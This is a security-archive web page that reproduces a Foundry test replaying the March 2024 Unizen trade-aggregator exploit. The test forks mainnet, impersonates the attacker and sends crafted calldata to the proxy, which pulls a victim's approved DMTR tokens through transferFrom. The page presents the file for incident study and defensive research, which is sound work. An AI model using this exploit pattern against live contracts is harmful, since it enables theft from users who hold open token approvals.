Skip to content
THREATWIRE

Public reproduction file

src/test/2024-03/UnizenIO_exp.sol

Public reproduction file for dataset entry UnizenIO.

Code

Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.

src/test/2024-03/UnizenIO_exp.sol42 lines
1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.10;
3
4import "forge-std/Test.sol";
5import "./../interface.sol";
6// @KeyInfo - Total Lost : ~2M USD$
7// Attacker : https://etherscan.io/address/0x2ad8aed847e8d4d3da52aabb7d0f5c25729d10df
8// Vulnerable Contract : (Unizen: Trade Aggregator Proxy) https://etherscan.io/address/0xd3f64baa732061f8b3626ee44bab354f854877ac
9// Attack Tx : https://app.blocksec.com/explorer/tx/eth/0x923d1d63a1165ebd3521516f6d22d015f2e1b4b22d5dc954152b6c089c765fcd ( one of the transactions)
11// @Analysis
12// https://twitter.com/SlowMist_Team/status/1766311510362734824
13// It's an unverified contract.
15contract UniZenIOTest is Test {
16 address victim = address(0x7feAeE6094B8B630de3F7202d04C33f3BDC3828a);
17 address attacker = address(0x2aD8aed847e8d4D3da52AaBB7d0f5c25729D10df);
18 address aggregator_proxy = address(0xd3f64BAa732061F8B3626ee44bab354f854877AC);
19 IERC20 DMTR = IERC20(0x51cB253744189f11241becb29BeDd3F1b5384fdB);
21 function setUp() public {
22 vm.createSelectFork("mainnet", 19_393_769);
24 emit log_named_uint("Before attack, victim DMTR amount (in ether)", DMTR.balanceOf(victim) / 1 ether);
25 emit log_named_uint(
26 "Before attack, victim approved DMTR amount (in ether) on UnizenAggregator",
27 DMTR.allowance(victim, address(aggregator_proxy)) / 1 ether
28 );
29 }
31 function testExploit() public {
32 vm.startPrank(attacker);
33 aggregator_proxy.call{value: 1}(
34 hex"1ef29a02000000000000000000000000000000000000000000000000000000000000004000000000000000000000000000000000000000000000000000000000000001a00000000000000000000000002ad8aed847e8d4d3da52aabb7d0f5c25729d10df000000000000000000000000000000000000000000000000000000000000000000000000000000000000000051cb253744189f11241becb29bedd3f1b5384fdb000000000000000000000000000000000000000000000000000000000000000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000297963e6c9965e0000000000000000000000000000000000000000000000000000000000000012000000000000000000000000000000000000000000000000000000000000000110000000000000000000000000000000000000000000000000000000000000753000000000000000000000000000000000000000000000000000000000000000a554e495a454e2d434c49000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001000000000000000000000000000000000000000000000000000000000000002000000000000000000000000051cb253744189f11241becb29bedd3f1b5384fdb00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000060000000000000000000000000000000000000000000000000000000000000006423b872dd0000000000000000000000007feaee6094b8b630de3f7202d04c33f3bdc3828a000000000000000000000000d3f64baa732061f8b3626ee44bab354f854877ac0000000000000000000000000000000000000000000000023128cfbd15ed72f600000000000000000000000000000000000000000000000000000000"
35 );
36 emit log_named_uint("After attack, victim DMTR amount (in ether)", DMTR.balanceOf(victim) / 1 ether);
37 emit log_named_uint(
38 "After attack, victim approved DMTR amount (in ether) on UnizenAggregator",
39 DMTR.allowance(victim, address(aggregator_proxy)) / 1 ether
40 );
41 }

Analysis

Dataset entry

Public Foundry test for “UnizenIO” (2024-03-09). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.

Related files

18 linked

Imports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.

Also imports external libraries: forge-std/Test.sol.

Listed in the source file

Listed by the source dataset, not verified by ThreatWire

  • Attacker

    0x2ad8aed847e8d4d3da52aabb7d0f5c25729d10df

  • Vulnerable Contract

    0xd3f64baa732061f8b3626ee44bab354f854877ac

  • Attack Tx

    0x923d1d63a1165ebd3521516f6d22d015f2e1b4b22d5dc954152b6c089c765fcd

File record

Name
UnizenIO
Path
src/test/2024-03/UnizenIO_exp.sol
Repository
SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
Commit
7363f76db51f0fea97f8e659b20ee8bdc5fbca25
Blob
f617ef20677d7c58296e3c2f9a410c5c7f512108
Language
Solidity
Size
43 lines
Date
2024-03-09
Licence
file header UNLICENSED; repository Apache-2.0
Retrieved
2026-10-19

Provenance

Path src/test/2024-03/UnizenIO_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob f617ef20677d7c58296e3c2f9a410c5c7f512108, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.